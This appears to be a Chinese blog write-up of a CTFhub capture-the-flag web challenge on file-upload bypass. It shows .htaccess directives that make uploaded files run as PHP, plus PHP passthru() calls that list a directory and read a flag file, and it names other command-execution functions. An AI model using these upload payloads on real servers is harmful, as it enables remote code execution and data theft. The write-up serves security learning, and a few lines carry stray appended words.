ctf php 文件上传,【CTF整理】CTFhub技能树-Web-文件上传-.htaccess

【CTF整理】CTFhub技能树-Web-文件上传-.htaccess

CTFhub技能树里面的题最近作了一些,可是除了以前的SQL注入以外,其余的我实在没什么兴趣整理,毕竟网上的整理出来的博主不少,之因此专门整理这个文件上传.htaccess的题目,是由于我踩坑了,本觉得一道简单的题目我就这么硬生生的踩进去了,还差点没出来,浪费了很多金币啊。看别的博主都是上传.htaccess文件,上传修改后缀的一句话木马,菜刀或是蚁剑一连就getshell了,简单的不能再简单,为毛我试了N次都是不行?试了各类形式的.htaccess文件,各类报错。网上如此轻易用蚁剑连上的博主,我是不知道怎么作到的(多是我菜逼吧,不过网上好像就一两个版本,严重怀疑是最开始的那一篇带偏一堆人) 。吐槽结束,记坑。php

一、常规思路

修改.htaccess文件,上传指定后缀名的一句话,菜刀链接getshell。------ 失败html

基本上就这样

8a4e0e6d212be246ac8b13f0d322cb0f.pngweb

我试过的.htaccess内容:

版本1

SetHandler application/x-httpd-php

版本2

AddType application/x-httpd-php .jpg

配合PHP各类一句话文件后缀.jpg,

亲测,菜刀蚁剑没有一个能正常链接,要么200ok啥都不显示或者显示一句话,连不上,要么直接404,还有500的。

这种思路就是网上最流行的思路,想看的小伙伴能够看这里

https://www.cnblogs.com/anweilx/p/12523582.htmlshell

二、PHP passthru()函数

这个方法不须要菜刀,蚁剑什么,弱爆了,直接浏览器访问就看到了flag好吗,给想出这个方法的大佬点赞。

PHP的passthru()这个函数能够直接执行外部命令,用法passthru" ls "),一样有此功能的函数还有

exec()、system()、 shell_exec()等。浏览器

解法

这里先写一个.htaccess文件上传app

//sj随便写的,后面上传的文件没有后缀,就叫sj

SetHandler application/x-httpd-php

而后写sj文件内容以下:svg

#passthru("ls /var/www/html/"); //第一次只写这一行,用来找flag文件在哪里

passthru("cat /var/www/html/flag_229326633.php");//第二次是找到了flag文件以后,直接读取内容

?>

上传sj文件,而后浏览器直接访问文件:

d810716e48a0e877939f37598bfea23c.png这里啥都没有,须要查看源码。(小坑小坑)

05dee982ee2a490a284d45442d1d8e9c.png获得flag函数

总结:

有时候不要太依赖菜刀蚁剑之类的工具,不必定要一句话,咱们还能够直接执行外部命令查看,PHP常见能够用来执行外部命令的函数有 passthru()、exec()、system()、 shell_exec()等。(不要太相信网上的解法,本身多动手尝试)工具

by 久违 2020.5.15 夜code

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值